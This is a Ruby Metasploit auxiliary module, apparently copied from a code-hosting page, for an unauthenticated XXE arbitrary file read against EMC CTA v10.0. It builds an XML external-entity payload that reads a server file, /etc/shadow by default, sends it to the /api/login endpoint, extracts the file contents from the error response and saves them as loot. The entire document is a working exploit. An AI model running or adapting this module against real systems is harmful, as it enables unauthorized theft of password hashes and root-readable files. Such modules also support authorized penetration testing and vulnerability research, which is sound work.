83 lines
2.2 KiB
Ruby
83 lines
2.2 KiB
Ruby
# This module requires Metasploit: http//metasploit.com/download
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##
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read',
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'Description' => %q{
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EMC CTA v10.0 is susceptible to an unauthenticated XXE attack
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that allows an attacker to read arbitrary files from the file system
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with the permissions of the root user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Brandon Perry <bperry.volatile@gmail.com>', #metasploit module
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],
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'References' =>
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[
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['EDB', '32623']
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],
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'DisclosureDate' => 'Mar 31 2014'
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))
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register_options(
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[
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Opt::RPORT(443),
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OptBool.new('SSL', [true, 'Use SSL', true]),
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OptString.new('SSLVersion', [true, 'SSL version', 'TLS1']),
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OptString.new('TARGETURI', [ true, "Base directory path", '/']),
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OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),
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], self.class)
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end
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def run
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doctype = Rex::Text.rand_text_alpha(6)
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element = Rex::Text.rand_text_alpha(6)
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entity = Rex::Text.rand_text_alpha(6)
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pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
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<!DOCTYPE #{doctype} [
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<!ELEMENT #{element} ANY >
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<!ENTITY #{entity} SYSTEM "file://#{datastore['FILEPATH']}" >]>
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<Request>
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<Username>root</Username>
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<Password>&#{entity};</Password>
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</Request>
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}
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'api', 'login'),
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'method' => 'POST',
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'data' => pay
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})
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if !res or !res.body
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fail_with("Server did not respond in an expected way")
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end
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file = /For input string: "(.*)"/m.match(res.body)
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if !file or file.length < 2
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fail_with("File was unretrievable. Was it a binary file?")
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end
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file = file[1]
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path = store_loot('emc.file', 'text/plain', datastore['RHOST'], file, datastore['FILEPATH'])
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print_good("File saved to: " + path)
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end
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end
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